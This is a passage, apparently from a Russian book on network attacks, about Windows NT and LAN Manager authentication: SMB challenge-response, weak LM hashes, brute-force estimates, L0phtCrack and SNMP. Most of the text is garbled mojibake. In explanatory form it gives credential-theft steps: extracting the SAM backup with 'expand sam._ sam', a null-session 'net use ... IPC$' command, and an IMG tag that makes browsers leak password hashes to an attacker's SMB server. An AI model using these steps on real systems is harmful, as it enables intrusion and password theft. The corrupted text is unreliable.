筮 UNIX, 樮 ⥬ Windows NT থ ஧ 뢠 ⥪, 筮 ⠪   㠫쭠  뢠  । ,  짮⥫       㣮 ਫ ( ⥬ ࢨ), , ॠ ⮪ ᥬ⢠ TCP/IP ⠢  襣  ᪠  㤠 ⠪. 祬, 訡  ࠪ⨪ ணࠬ⮢ -  ਢ筮     ⮫쪮  Microsoft,  ⫨⥫쭠  Microsoft -  । ண, ਢ    ᨩ   ⮣,  ࠧࠡ稪 ᯥ   ࠭ 䥪 . ⠡쭮  UNIX  ᭮  ⥬,   ᪮쪮 ᫥   ⥬  ௥  ⢥ .
୮ ࠧ⨥ Windows-⥬ ਢ  ஡ ᮢ⨬, 㦤 ࠧࠡ稪   ᮡ  㤠 襭  ஢ 訡 ࠭ ᨩ. ,  ਬ, 堭 ⥭䨪樨 짮⥫  Windows NT.  , 樮 ⥬, ࠧࠡ⠭   UNIX,   訡 ᢮ ।⢥  ॢ   饭.  ᠬ    ⮨  筮  !
 ⪨ ⥢ প    MS-DOS 3.1 [145],  㦥  1984  Microsoft ⨫ ணࠬ  "Microsoft Network" (᮪饭 MS-NET).   㤨⥫쭮, ,     楯権,    ᥣ譨 , ४祢 ᭠砫  Microsoft LAN Manager,  ⥬   Windows NT.   (<稬> 楯) ⭮ ।४ (redirector), ⮪ SMB (Server Message Block)  ⥢ ࢥ (Network Server). ஡     ᪠ , ᥩ  訩  ।⠢ LAN Manager.
४ ࠭ 㦤    ᠬ⥫쭠 ⥢ 樮 ⥬,  ᥣ  ७  騬 樮 ⥬ - MS-DOS, OS/2, UNIX, Windows 3.1  Windows 3.11 for Workgroups. ⮬,  ᫥騥 ⥬ Windows 95, Windows 98  Windows NT 뫨 㦤 ন ᮢ⨬  Microsoft LAN Manager,   ᥪ ᫥ ନ 짮⥫, ࠡ  DOS  Windows 3.x ( ⥯ LAN Manager ন  Windows 2000  ᯥ祭 ᮢ⨬  Windows 95, Windows 98).
 ⥭䨪樨, ⠭ ᮥ  । 䠩 ᯮ ⮪ SMB (Server Message Block).  SMB    ⮪,  楫 ᥬ⢮ ⮢, ᮧ  ࠧ ६  ࠧ 樮 ⥬.  ᠬ ࠭ ॠ樨 ⮪, PC Network Program 1.0 ( 뫠 ࠧࠡ⠭  MS-DOS), ⢮ প ஢ ஫,   ।  ࢥ  ⥪⮬!  , ᥣ  ⮩ 堨筮   [146],  !
,  ᮢ६ ࢥ ࠡ ⮫쪮  ஢묨 ஫ﬨ,  設⢮ ⮢ -० ন ࠭ ᯥ䨪樨 SMB. ᫨ 諥 㬥 <ਪ> ࢥ஬,  ᬮ ᫠  ᮮ饭 SMB_COM_NEGOTIATE  䫠, ।뢠騬 । ஫  ஢ .  , ਢ,  ࢥ  ন ஢ ஫ [147], 믮  ॡ!
   <ਪ> ࢥ஬ .   ⮣ 室  ⮫쪮      ,    ⨧ ⥢ ᮮ饭! ࢥ ᨢ,   ࠢ  ⮢ ,   ᠬ  樨   ᮥ.  ப⥫쭠 । 쭮  Ethernet   ⥢  墠뢠  䨧᪨ 室騥 ᪢  . 筮 ஢ ࢥ  室饩 DOS-⠪ (   ࠧ  ⢥, -    ࢥ, ⠪   饣)       ॡ 뫪 ⮣ ஫.    , ᭮  TCP/IP,  ஧ <> DNS-ࢥ - 諥    宬 UDP-⮢, ᮤঠ    ࢥ. ᫨  ਬ   ⠪ ⮢  ⢥ 饣 DNS,  稢 ⠭ ᮥ  㧫 諥! (஡  ⮬ ᪠   <⠪  DNS ࢥ> [148]).  ⠪, 稫  "Man in Middle" (ꥪ  ।)  筮 ப ࠭.
祢 襭 - ⪫ প ஢ ஫ (᫨ ணࠬ ᯥ祭 ᪠ ⠪ ). ,  ⫨稥  ࢥ, 䨣㥬 ஬, ⮩  -  ᠬ .    訬 ⢮ 짮⥫ ( ⥬ ,   ),    ᯮᮡ ᫥  ᥬ ᢮ 묨.


१ <砭> *




,  㬮砭 ⭠      ⢮ 㤠 ⮪  ஫, (  ⢮  ࠫ , ᠢ ࢥ 묨 ஫ﬨ, ,  㦨 ⠪,  㦥  ᬮ  祣 ।ਭ).  ࠧ, ⭠   뢠 ⮩   ஫.
⨫ passprop   Windows NT Resource Kit   ஢ ⭮  . ⢥  ,    ⮣ ᬮ   ⥬? 뢠, ஢ ᠥ ⮫쪮 㤠 ॣ樨,   ᮫  ஫  PDC 室 ᥣ .
 SMB  Windows for Workgroups 㦥 ন ஢ ஫,     ⠢ 筮   窨 ७ ᭮.  ᮦ,   ⥣஢  Windows 95  Windows 98, ⮬ ⪠   প  設⢥ 砥 . 筮, ᫨   設  ⠭ Windows NT, ࠧ㬭 ᯮ짮 ⮫쪮 த   ॠ ⮪ SMB - NT LM 0.12 (  NT LMv2),  筮 ,     室 ন 樮 ⥬  ⨯.







<:   訥 ଠ樮 ⥬  饭,   ᯮ ஫  祭 ᫮ .   ⢮  ࠧࠡ⪥ 設⢠   ⥬. 㦥 ᪨  , ⮡     ⮣,     >
John Warley. "Press Enter"

। 砫 ࠡ  ࢥ஬ 짮⥫ 室 ॣ஢  ⥬.  設⢥ 砥 ᪠  㤠 ( ), ⠪  쭠 ( , ᮥ  -ࢥ) ॣ. ,  ६  UNIX, ࠧࠡ稪     졥  諥  ਤ㬠  , ᯥ譮 㭪樮騥   ᨢ ।.
 <ᨢ>  ᯮᮡ 諥 訢  ஫஢  ⥭䨪樨. ਬ, telnet-,  室  UNIX-ࢥ, ᨬ쭮 ।  짮⥫   ஫ (  ᨬ   ) [149]. 祢, ᫨ 諥 㤠 墠   [150],  㬥 ⠭ ஫.
  ᭥ 쭠 ॣ -  UNIX  ⢮ ,  楤 室  ⥬,   ᠬ   ஫. ⮬, ࠧࠡ稪 ⥬  Windows NT   (Jim Kelly)     (Cliff Van Dyke) <楯> 楤 ॣ樨    "Alt-Ctrl-Del".  ਫ, ᯮ饥  짮⥫᪨ ਢﬨ,  ᯮᮡ    墠 ࠢ. 筮, ⥬ ࠩ  墠뢠  㣮,  ⮬ ᫥  ⨥ "Atl-Ctrl-Del",  ࠢ ⠭  ࠩ஢  ⥬  ⮫쪮 ,  ਢ஢ 짮⥫ ⠭    Windows NT 㦥  ᬮ [151].
 ⠪   祭- , ᫨ ᯮ ⮬᪨ 室  ⥬ ( ᯮ    [152]).  ⪥ ॥ "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrenetVersion\Winlogon",  㬮砭 㯭 㯯 Everyone (ᥬ 짮⥫), ᮤঠ  짮⥫, 襤襣  ⥬, ("DefaultUsername")   ஫ ("DefaultPassword"). ᫨ 㤠 祭 ࠧ襭,  童 㯯 Everyone (.. 直, ॣ஢  ⥬), ᬮ ᬮ 㪠  ॥,  ᥬ  ⥪騬 ( ) ᫥⢨ﬨ.
    饭 設  몫祭 ⮬᪮ ॣ樥? ଠ Microsoft ⢥ত 类  (    ⠥ ?),  ⠪ 諥  (, 祢, ᠬ 諥), 宦, ਤন     .
譥 楤 ⥭䨪樨 룫廊 筮. , ⠭   ⮪ NetBIOS, 㢥 ࢥ  ᢮  㯨    , 뫠 ᮮ饭 SMB_CON_NEGOTIATE,  ஬      SMB.
ࢥ, ࠢ ᠬ ᮢ६  㯭    ⮪ [153], 頥  砩 8-⮢ ᫥⥫쭮, 㥬 challenge [154],   । ஫  ⮬  [155].
,  ⪫, 뫠 ᮮ饭 SMB_SESSION_SETUP_ANDX, ᮤঠ饥 짮⥫᪮  ( ⥪⮬);  ஫  challenge, ஢  - 祭 ஫.
ࢥ     ( 稨 <䠩 ஫>) ਣ  ஫  짮⥫,   challenge  ࠢ 祭 १  ⪫ . ᫨  ᮢ - ,   - invalid user.
 , challenge   - 祭,   .  ⨢ 砥,  ᫠  challenge  뫮  - 諥, 墠⨢  ࢥ  ⢥ , 㬥  ஢  - 祭   ᠭ樮஢   ࢥ ( ࢥ  ⥭䨪樨 ஬  짮⥫   祣  㦭,  ஢ ஫   ᠬ  ).
 ⥬᪨ 몮, ᫨ f - 㭪 ஢, key - ,  value - 㥬 , : f(value) ?
keyR crypt,  F(crypt) ?
keyR value,  F - 㭪 ஢. ᫨ key - challenge,  value -  ஫,  諥, 墠⨢ challenge  crypt, ᬮ ⠭  - 祭 ஫!    , ᫨ key - ,  value - challenge! , ⮡  crypt  challenge (    ,     ⮣ ⭮?!), 室   ஢ -  祭 ஫,    ࠧ  ॡ . 祬, 㭪 ஢ ᯥ樠쭮 ࠭ ⠪, ⮡,  室  ஢ ⥪ (  challenge  crypt), ᫨  (key,    - 祭 ஫) 뫮 , , 祬  ॡ஬.
ண , ࢥ ⠪   ﭨ ஢ ⢥ ,     ।⠢,  箬   ஢.     㦭! 㭪 ⨬ ஢  ⠭ 筮 㬥⮢,    㧭 ᠬ 㬥  祭 㭪樨. ⥬᪨   ࠧ ⠪.  f(x) R y, f(x1) R y1; ⮣, 祢 ᫨ y -y1,   x - x1. [156]
ᠭ  奬 (㥬 <-⪫>) ⢨⥫쭠  墠  裡 (  墠 y    ।⠢  祭 x),  筠  ਯ⮩ ᯮ㥬 ⬮ ஢  ஢ ( ⠪ , ࠧ㬥, 饭 <࠭> -祭 ஫).
樮 ⥬ Windows NT 4.0 (Windows 2000) ন   ஢ ,  ࠩ ,  ⬠ ஢:  LAN Manager (  LM-), ࠧࠡ⠭ Microsoft  樮 ⥬ IBM OS/2,   ⥣஢  Windows 3.1, Windows 3.11 for Workgroups, Windows 95, Windows 98 , ᮡ⢥, ᢮ <த> NT-.
   ᯥ  ᥩ SAM (Security Account Manager) 筮 ࠭   祭 -  LM-, ⠪  NT-, ⮬,   ⥭䨪樨  뫠  LM-,  NT-,     㣮 ࠧ.  ᫨  ᢮ ஫  樮 ⥬,  ন饩 NT-,  祭   SAM 㫨 [157]! ,  ⥭䨪樨  㦤 । LM-,   ,     ᢮ ஫  樮 ⥬ ন騩  ⨯  -祭 ६. ⮬ 設⢮ ⮢ 뫠  LM,  NT ,  ᫨ ॡ     [158].
 祭 LM-  襬 ᬮ७ 룫廊 ⠪: ஫,  짮⥫, ॢ頥  ப 䨪஢ , ࠢ ୠ ᨬ. ⪨ ஫   㫥 ⮢,   ᥪ.  ᨬ  ⢠ 'a'-'z' ॢ  孨 ॣ, , 祭  १ ⮩ 樨, ப 童   ᨬ , 騥  ᥬ ᨬ.    ࠥ ஫   ஢ ᫥⥫쭮 㫥 ⬮ DES. ⥬, 祭 ப 뢠   , ࠧ ⭠ ⮢ LM-.




 祭 LM-



ᨬ ஢  ஫,  1 000 000 000 000 000 ࠧ 㬥蠥 ⢮ ⮪, ॡ   ॡ (     ࠧ,       ).    ⠫  , ⮡  ⠪ !  ᪮쪮 ࠧ ⢥न  (  ࠧࠡ稪) -  ࠧ ᠬ⥫쭮, ᯮ ஢७ ६ ,  ⮫쪮   ப.
 樨 ﬨ,       몥 ⥬⨪?  f -   㭪,  x1:7y8:14 -  짮⥫ ஫.  LM- 㤥 ࠢ f(x)+264*f(y), ᪮  ⨬ 祭 㭪樨 f   ࢠ 楫 ⥫ ᥫ,  ॢ 264,   室饣 ஫ 砥  襭  ࠢ ( P - ᪮ ஫,  H 祭 LM-):
1. DES(0) -
P
1:7R H1:8; [159]
2. DES(0) -
P
8:14R H9:16;
  ᯮᮡ 襭  ࠢ?  DES ᯥ樠쭮 ࠧࠡ뢠 ⠪, ⮡,  室 (  砥 ப 㫥)  ஢ (  砥 ᥬ   - 祭) ⥪, 諥   䥪⨢ ᫨  ஢ (᪮ ஫). 㦤  㭪樨 DES 室  ࠬ  , ⮬  쭥訥 㦤 室  ⮣,   筮 ਯ⮩ [160].
  DES ⮥  ॡ!   ॡ  ꥬ ᫥  ᪠ ⢮ 䥪⨢ ॠ権.  । 砥 諥 ॡ 1+k+k2+k3+k4+k5+k6+k7 権 [161]   ஫,  k ᨬ쭮 ⨬ ⢮ ᨬ, ᯮ  ⠢ ஫ [162].     ⢠ 権, 室   ୠ ᨬ쭮 ஫!
1+k+k2+k3+k4+k5+k6+k7 <(1+k+k2+k3+k4+k5+k6+k7++k8+k9+k10+k11+k12+k13+k14)*1/2,   "<" 砥 < >.  ஫, 騩  쬨   ᨬ,    ᫮ ஫, 饣 ᥣ  ᥬ ᨬ! ᪨ ⥬ 訢  ᥬᨬ ஫  ࠡ뢠  ᨬ   㣠 [163].
祬, ஫, 騥  祬  쬨 ᨬ,  ᯮ! ᫨ ஫,  짮⥫, 뢠  ୠ ᨬ,  ⥬    ॡ㥬  ﬨ.  짮⥫  ஫  ᥬ   ᨬ, ⮣ P8:14 = 0,  DES(0) -
P
8:14R 0xAAD3B435B5140EE - , ⠭! (, ࠧࠡ稪, , ).
⮬, ᫨ 訥 ᥬ  LM- ࠢ 0xAAD3B435B5140EE,  室 ஫ ⮨  ᥬ   ᨬ. 祬,  १ ᪠   뢠 ᨫ쭮 ﭨ ( 㤥 ᭥ 祬).
᫨ ⨬஢ ,  ᪮ ॡ  㢥 !  ᠬ , ᮢ襭   祬   祭 㭪樨 DES  ࠢ 1   ࠢ 2, ᪮  ।  㭪権 . ⥫쭮,   P 筮  ࠧ ᫨ 祭 DES(0)  । ࠢ   H1:8;   H9:16. ᫨ ७ ६, 祭  ࠢ 祭 㭪樨  H1:8  H9:16 (   ᪮७     16-ࠧ來 ॣ),  ᪮ ॡ  !
    ।  ⮬   , ⮬ 諥 墠  .  । ࢥ challenge, ஢  - 祭 ஫,   ⬠ DES. ᪮, ᮬ   ⬠ DES  室, , ,  ᫨  ஫   ,  ⠥ ⢮ ⮫쪮 ⮤ ॡ.
᪮  ।⠢ ᮡ 16-⮢ ப,  ᥣ  2128 権,   ॡ ॡ ॠ ᫨⥫ 魮⥩, 㯭 諥.   ᮢ६ 㯥મ஢   ᫨誮 ᫮. ᫨, 筮, ॠ ⬠ DES ᢮  訡 [164].
 ⠪ 訡   ᠬ   - 㭪 DES ਦ  challenge, ᯮ  ⢥ 祩 ࠧ ࠣ  - 祭 ஫, 祬 ⥫쭮 㬥蠥 ⢮ ⮪, ॡ㥬   .  ஢   ᬮ७ 룫廊 ⠪:
 ⭠⨡⮢  - 祭 뢠  㫥, ࠧ ᫥⥫쭮     (16+5=21) 祭  ⮩   h1:21.
 ᫥⥫쭮 ࠧ१   ࠢ   ᥬ , 祭 h1:7, h8:14, h15:21.
   ᯮ  ⢥   ஢ challenge, । ࢥ஬,   ⬠ DES.
祭 १ (祭  R) 뫠  ࢥ.   ⥬᪨  ࠧ ⠪:
1. DES(challenge) -
h
1:7R R1:8
2. DES(challenge) -
h
8:14R R9:16 
3. DES(challenge) -
h
15:21R R17:24
 ⠪ ⫥,  ୨  Microsoft   ஢ ப, 騥  祬  ᥬ ᨬ,  ⮬-  ਡ   ࠧ१.
᪮     h15:21  ࠭ ( ᮤঠ 㫨, ᠭ  ७   ⨮⮢ ப),   襭 ࠢ DES(challenge) -
h
15:21R R17:24 室 ॡ ᥣ  .  襬 砥  ॡ 216 権,   ।   215. ᫨   ஫ ⠢  쬨 ᨬ,  h15:h21 ᥣ ࠢ 0x04EE0000000000, ⮬ ⪨ ஫ ୮ ᯮ   鸞!
 ᢮ ।,  砥 襭 ࠢ DES(0) -
P
8:14RH9:16, ᪮ H15:16=h15:16. ॡ஬   祭 P8:14, ᥣ  1+k+k2+k3+k4+k5+k6+k7 権    <⮢>  ஫,  㤥   祬 (1+k+k2+k3+k4+k5+k6+k7)/216.
⠥ ॡ 28*(1+k+k2+k3+k4+k5+k6+k7)/216 権, ⮡ । <⮢>   ࠢ DES(challenge) -
h
8:14R R9:16  ⢥ ⢨⥫ .
ࠢ  DES(challenge) -
h
1:7R R1:8 蠥 ॡ஬ 1+k+k2+k3+k4+k5+k6+k7 ਠ⮢  襬 砥  (1+k+k2+k3+k4+k5+k6+k7)/2  ।,  ࠢ 祭 DES(0) -
P
1:7RH1:8;  ६  DES(0)-


P
8:14RH9:16 ᮪⨢ ⢮ ॡ㥬 権 .
 ᪮쪮 ६ [165]  襬 砥   ஫?  ⮣ 室  稭 k (⢮ ⨬ ᨬ)  ᪮ ᫥ 㭪樨 DES.  ஫  室: 10  '0'-'9', 26  㪢 ⨭᪮ 䠢 'A'-'Z'   32 ᯥᨬ. ⮣ 室 10+26+32=68. ⥫쭮, ᥣ  680+681+682+683+684+685+686+687=6 823 331 935 125  ਡ⥫쭮 7 x 1012 権.
  ᫥ 㭪樨 DES  ᨬ  ந⥫쭮   䥪⨢ ॠ樨 ⬠    (    Pentium)   (Pentium III, XEON)  ᥪ㭤.
 襬 砥  ஫ ॡ 216+(1+k+k2+k3+k4+k5+k6+k7)+216*(1+k+k2+k3+k4+k5+k6+k7)/216 権, .. 216+2*(1+k+k2+k3+k4+k5+k6+k7),   ।  ⮣ : 215+(1+k+k2+k3+k4+k5+k6+k7).
᫨ ॡ   ஫  ᪮ 500 000 権  ᥪ㭤,     襬 砥 (65 536+ 2*6 823 331 935 125) / 500 000 = 27 293 328 ᥪ㭤   316 ,   । 浪  ⨤ .
 ᫨ ॡ ஫, 騥   ⨭᪨ ᨬ,   襬 砥    33 412 ᥪ㭤,    ᥣ   ᮢ,   ।  ப,  訩 - 浪  ᮢ! (㬥, ᫨ ᪮ ஫ ⢨⥫쭮 ⮨   ⨭᪨ ᨬ).
 ॡ 祭  ᯠࠫ, ⢮   . 㯯 諥, 㦥 ⪮ Pentium II ᯮᮡ ࠭஢   ஫  祬  .  ᫨ ,  짮⥫ ᪫ 롨  ᮫⭮ 砩,   ⮩   ⥯ ᫥ ஫,  ப  ⭮ ᮪.




⨯ ணࠬ L0phtCrack



 ⮢ ணࠬ ॠ, ᠭ  ⠪, 饭  ⨫ 10phtcrack,   ஬ LM  NT 襩.  ࠧࠡ⪨ -  L0pht Heavy Industries (http://www.l0pht.com/).
ࠡ稪 L0phtCrack 2.5 - ⢥ত,      Pentium II/300  90% ஫ 㤠   祭 48 ᮢ,  18% ஫ 뢠  祬  10 !


ਢ   ᠬ  ᥡ.  ᫮ ਯ⮩ ⬠ DES (   ਯ⮩ ᮬ  室), 㡮 ᨫ 室 ॡ  ࠩ  浪 1+k+k2+k3+k4+k5+k6+k7 権.  ᫨  L0PhtCrack 2.5 ⢮ ਢ ॡ஬,  ᯥ祭  ᪮ ॡ  諮  ᮢ (1+k+k2+k3+k4+k5+k6+k7)/(48*60*60) 権  ᥪ㭤,   6 823 331 935 125 / 172800 =39 486 874 -  ப  ᫥ 㭪樨 DES  ᥪ㭤.  訥  ஢ Pentium  ᯥ稢 ⠪ ந⥫쭮!
 ᠬ , L0phtCrack 2.5  <> ⠪  ॡ஬  ᫮. ⨬   祭 १.  ᫮ୠ ⠪  ࠭,  ஫ -⠪ 㤥   殢 ,   宦 ⠢ 10% ஫ L0phtCrack  ⥫쭮  ப 쬨 ᮢ.
⮬, ॠ쭮 ६, ॡ㥬  宦 ஫,  ⥫쭮  ।  稥 (⢨)  ᫮,    ᪮ ॡ.


    ⢥   ᨬ ஫  ॢ ⪨.     ᯮ⥫쭮 ஢ , 㤥ন  Alt (.. "Alt+'0 1 3'"). 設⢮ ॡ騪 ஫  뢠 ⠪ ⮭     ᨬ  ᯨ᮪ ⨬ ᨬ. ⮬,  - ⥯  㤭 諥 ஭  ⥬.
祬, 쬠 ⭮,  㦥 ᫥騥 ᨨ ॡ騪 ࠢ ᢮ 訡  ᬮ ४⭮ ࠡ뢠 ᨬ ७ ப.
 祭 NT- ᯮ  MD4, ८ࠧ騩 128 ᨬ Unicode ப  16-⮢  - 祭. 祬, ᯥ 짮⥫ (User Manager) ࠭稢  ஫  14 ᨬ,   設⢥ 砥  ஫  ᨬ 樮 䠢⮢. ⮬  ࠭ ॡ஬ <ᥣ > 680+681+682+683+684+685+686+687+688+689+6810+6811+6812+6813+6814 権,    ⮣  (뢠 ᪫ 짮⥫  ⪨ ஫  ।  - 쬨 ᨬ).  ᫮ 䥪⨢ ॠ樨 㭪樨 MD4,  ( ᨬ  ⥯ ⨬樨)    - 줥 ࠧ  㭪樨 DES  ⮬  ᠬ , १砩 㤭 <> ॡ. ⠥ 㠫쭮  ⠪  ᫮.
 ⫨稥  UNIX, 楤 ⥭䨪樨 Windows NT  ᯮ 祣 宦  ਢ離 (slat)  ᫨ ஫  짮⥫ 砩 ࠧ ᮢ,     - 祭  !  뢠 ࠪ⨪,  짮⥫᪮ ⥬ ⠪ ᮡ⨥  ।.
᫨ ᮢ⨬  㣨 樮묨 ⥬  ॡ,  ⪠  প LM-襩.  ⠪ 襭  । Microsoft  Service Pack 4,  ⨫  ᠤ 訡 (,  ᥣ!). ᫨ ᫥  ᯮ짮 LM-, 짮⥫,  ஫, 諥  ⮫쪮 LM-,  樮 ⥬  筮 <ண>,  㫨     SAM. 㫥  祭   - 祭  楤ன ⥭䨪樨  ⢨ ஫.  ,  ᢮ ।,  諥 ஭  ⥬.
  設⢥ 砥 ࢥ  㬥   ⠬, ᭠饭묨 Windows 95 (Windows 98), ⮬ প LAN Manager 祭,  ⮬ ᫥,   Windows 2000,     থ ᠭ  ⠪.


, ᬮ  ,  楤 ⥭䨪樨 LAN Manager 砫쭮 ࠧࠡ뢠,  ⮩稢  墠 ⥢ 䨪, Microsoft ⥫쭮 ४ ᯮ짮 ⥫쭮 ஢ 䨪 (ॠ, ਬ  VPN - Virtual Private Network).  ⨢ 砥 ࢥ    .
 墠 䨪  ᫥騥 ⠭ ।⢠ - Microsoft Network Monitor (ࠡ⠥  । Windows), tcpdump (ࠡ⠥  । UNIX)   .
     , :    . 筮 ⠭  ᥡ SMB ࢥ , ᨢ -   , 砩   짮⥫   - 祭 ஫. ,  饬-,  .  宦 ⠫ ⢨   ६ UNIX.   ᥣ - १⭮,  室 祭 稢 ( ) 짮⥫, ६  ⨬ 騩 ᮪ ਢﬨ (  ப  ஫,  騬  ਢ?).
, ⮣   㬠  WEB!    : ⮨   ࠭ 뫪 ⨯ "<IMG SRC=file:////my.own.smb.server/mypets.jpg>"    ⢠  㬠    [166].  , , ந, Internet Explorer  Netscape Navigators ⮬᪨,  訢 ⢥ত, ।  짮⥫  -祭 ஫,   짮⥫ 襫  ⥬.
   ଠ쭮 ⨫  ஭ ,    㦨  㣨. ⠪  থ  ᨨ Windows NT 3.5-4.0   ᫥ Service Pack,  ⠪  Windows 95  Windows for Workgroups.
   㣨 ᯮᮡ ᠭ樮஢ থ  ⥬.  Windows NT  ⠪ 뢠 ⥢ 室 ("Guest Account")   ஫.  ࢥ   㬮砭 ஢,   ࠡ ⠭ !    㧫 , ᪠  ⥢ ࠢ -  㦥 ந⢨,  室  ⥬  ਢﬨ  - .
㬥,  ࠡ祩 ⠭樨 ஫   ࠭. ⢥,  Windows NT ஫    ࠭.  ⮣    SAM (Security Account Manager)   - 祭 ஫.   ࠭  䠩 "%SystemRoot%\SYSTEM32\CONFIG\sam",   ஬  ⥬.  "sam" ।⠢ ᮡ  ॥ "HKEY_LOCAL_MACHINE\SECURITY\SAM", ࠢ ⥭ ண ।⠢ ⮫쪮  ( ,  㬮砭  ஢). 㭪樨 API, 㫨騥   짮⥫   - 祭, 㯭 ਢ஢ 짮⥫. ,  룫廊   筮  㯭.
 ६, १ࢭ  ⥬, ࠭  ⠫ "%SystemRoot%\Repair"   ६ 㯭  童 㯯 Everyone [167]! ࢭ  ᮧ  ⠭ ( ⠭) Windows NT,  ⠪  直 ࠧ  ᪥ ⨫ "rdisk"  箬 "/s". ᯠ  䠩  "expand sam._ sam" [168], 諥 ᬮ     짮⥫   - 祭 ஫.   ⮢ ணࠬ ॠ樨, ਬ, ⨫ SAMDUMP  ਠ (室   L0phtcrack).
筮, ᠬ ஫    㤥,   㤠 ॣ樨   㦭! ⮬, 諥  㤠 㤠   ࢥ.  ᫨    ᢥ १ࢭ  䠩 sam  騬 ஫ , : -,   ࠭ ⪫  ⥢ 室  㭨⮦ १ࢭ  (  짮⥫ ࠢ 㯠  ),    ᠭ ⠪ 筮 㠫쭠.


 Service Pack 3 室 ⨫ syskey,  ᨫ   SAM    १ࢭ  ⥬ ⥫쭮 ஢  128- 箬.   易⥫쭮 ࠭  ⥬ -    ᠭ  ᪥ ( ⮣  ॡ ⠢  ᪮ । 砫 ॣ樨  ⥬),  ᫨ ᪮  楫 ᭮ 㤠,   ⨬ ஢  ᭮ ஫  ⥬.    ⠭   ࢥ, ⠪   ࠡ ⠭.  ᫨   , 室 ⥬ ⠭ !
孨᪨ ஡ ࠡ ⨫ syskey ᮤঠ   Q143475   Microsoft.
,  ⥢ 室,  ୮ ⪫,  Windows NT   짮⥫, 騩 ࠢ  ᬮ ᯨ᪠ 짮⥫, ࠧ ᮢ   ( 稬, 筮 ) ⢥ ⥬ ॥.  짮⥫ 室 ⥬  ࣠樨  ᨩ (NULL session), ᯮ  믮 ⢨,  ॡ ⥭䨪樨 (   ,  ⥭䨪 ). ਬ,    室   Windows NT, ᫮ 砥 <D1>  <D2>. ᫨ <D1>  <D2>,  ᠬ <D2>   <D1>,   祭 ᯨ᪠ 짮⥫  㯯, ᯮ  <稢> , 室 ਡ   ᮥ.
 짮⥫ 㯥 ᯥ樠  IPC$ (inter-process communication),     <net use \\name\IPC$ "" /USER:"">,  name - ⥢     IP . 諥 砥  ᪠ User Manager  ᬮ 짮⥫  㯯, Event Viewer  ᬮ ୠ ᮡ⨩,  ⠪  㣨 ।⢠ 㤠 ஢, ᭮  ⮪ SMB.
 ॥ <HKLM\Software\Microsoft\Windows\CurrentVersion\Run>, ᮤঠ  ணࠬ,  ᪠   쭮 ॣ樨 짮⥫, 㯭  짮⥫,   ⥭,   䨪樨.    ᢮ ᬮ७, 諥 ᬮ 믮  ⮫쪮   ணࠬ, ࠭  ࢥ,     ணࠬ, 室   !  ⮣     த "\\mycomputer\myprog",  mycomputer -   諥   IP .  䠩 믮  ਢﬨ 쭮 襤襣  ࢥ 짮⥫ ( 쭮  ࢥ,  ࠢ, 室, ). , 稢 ࠢ , 諥  ᤥ  ࢥ஬   㣮 (ਬ, 㧭    - 祭  ⠫ 짮⥫).
 1997  諠 ணࠬ ॠ ⠪ ⠪, 稢  RedButton.  Microsoft ⨫    Windows NT 3.51  稫 ᮮ⢥騥 ࠢ  Service Pack 3  Windows NT 4.0.   < > Microsoft (Microsoft Knowledge Base)  筮 ஡ 孨᪠ ⪠ Q143474, ࠧ   ஡.
 Service Pack  ࠭   祭,  ⮫쪮 ࠭稢 ࠢ  짮⥫.  Microsoft  ਧ ( 孨᪮ ⪥ Q129457  ),  <:with RestrictAnonymous access enabled, anonymous connections are able to obtain the password policy from a Windows NT Server. The password policy defines the Windows NT domain policy with respect to the minimum password length, whether blank passwords are permitted, maximum password age, and password history>.
孨᪨ ॣ  ⥬ ࣠ ⠪,  ஢ઠ password policy ⢫  ⥭䨪樨 짮⥫. ਬ,  ⪨ ஫  ⮨  ஢.  Windows NT policy 㯭 ᥬ,  ⮬ ᫥   짮⥫ (  ᫥ ⠭ Service Pack 3!). 諥 ᬮ 㧭:   ஫,    ஫,   ⢮ 㤠 ⮪ ॣ樨    (᫨ ஢ 祭). 祭 ଠ ⥫쭮 砥 ஭  ⥬.
   policy  ⥪⮬ ࠭ ।騥 ᯮ㥬 ஫ [169], (⠪, 뢠  ஫).  窨 ७ ᭮ ஫ 室 ਮ᪨ , - 祬     ( 类 砥,  ⪮ ६). ਬ,  ਨ  ࠭  ᫥ ஫ 짮⥫,   ᬥ ஫ ⥬ ஢, -  ᮢ   ஫    . 筮,   ஫, ⢨⥫  ⥪騩 ,   祭  :   ਭ樯  ஫, - 롨  ᫮ ᫮,  ஦ த⢥,   宬窮  ᮫⭮ 砩 ᫥⥫쭮. ,  ᪫祭,  ࠭   짮⥫  롥    ஫, , ᪮쪮  .
 Microsoft ⢥ত 稥 ⠪  [170], ।ॣ 짮⥫  ஢  ୮ 롮 ஫.    蠥 ஡. ᫨ ஫ 롨  ᮫⭮ 砩,   ਮ ᬥ, 諥  㣠 । ஫ ,  ࠩ , 㧨  ॡ. । ⢠ 짮⥫ 猪  ⠪,  堫⭮ ⭮  ᭮  ᥣ 롨ࠥ ⪨, 騥 ᫥⥫쭮 (, ᫥⥫쭮, ।᪠㥬).



 Microsoft ⢥ত,  Windows NT  ࠭ ࠡ稥 ⠭樨,   짮⥫  室  ⥬.    ࠢ, -    ஫஢ 쭮 짮⥫ ( 祬      㡥),     諥?
! ਪ ⮪ SMB ॠ  ࠭ᯮ ⮪, ᮢ⨬  䥩ᮬ NetBIOS.   ⠭ ᮥ  ⮪ NetBIOS, ࢥ ஢ , ᮮ饭  ⮬,    IP ! 諥 筮  ( ᭨ ⮤ ॡ)   ࠡ ⠭権 ࠧ襭 室  ࢥ,     -  孨. ᫨  ᮢᥬ  - NetBIOS ࢥ   ஢ , । ⮬ -   SMB-ࢥ,   砫 SMB-ᨨ  ⮪஢ ⠭ ᮥ  !
   ᥡ ଠ 諥     ⮪ SNMP (Simple Network Management Protocol). ⮪ SNMP ᯥ稢 ਭ ,  筮 ᯮ ࠬ,      ᫥  ⨢ ॠ஢  訥 ஡,  ⠪  ⠨   ᨬ ந⥫쭮.


⮪ SNMP ॠ  ⮪ UDP   ॡ ⠭ ﭭ ᮥ.  161 ࠡ뢠 , ᮤঠ騥 ⢥   (PDU - Protocol Data Units),   㦥 ᮮ饭 (TrapPDU) ࠢ   161.
  ,   SNMP - প । ଠ樮  ࠢ MIB (Management Information Base).  㧫 , 室  - ணࠬ 㫨, ᮡ騥 ଠ  ࠢ塞 ꥪ  ࠧ騥 祭 ଠ  ᢮  ६. ⮪ SNMP ᯥ稢  ஫쭮 ଠ樥  ⠬   ।⠢    MIB.
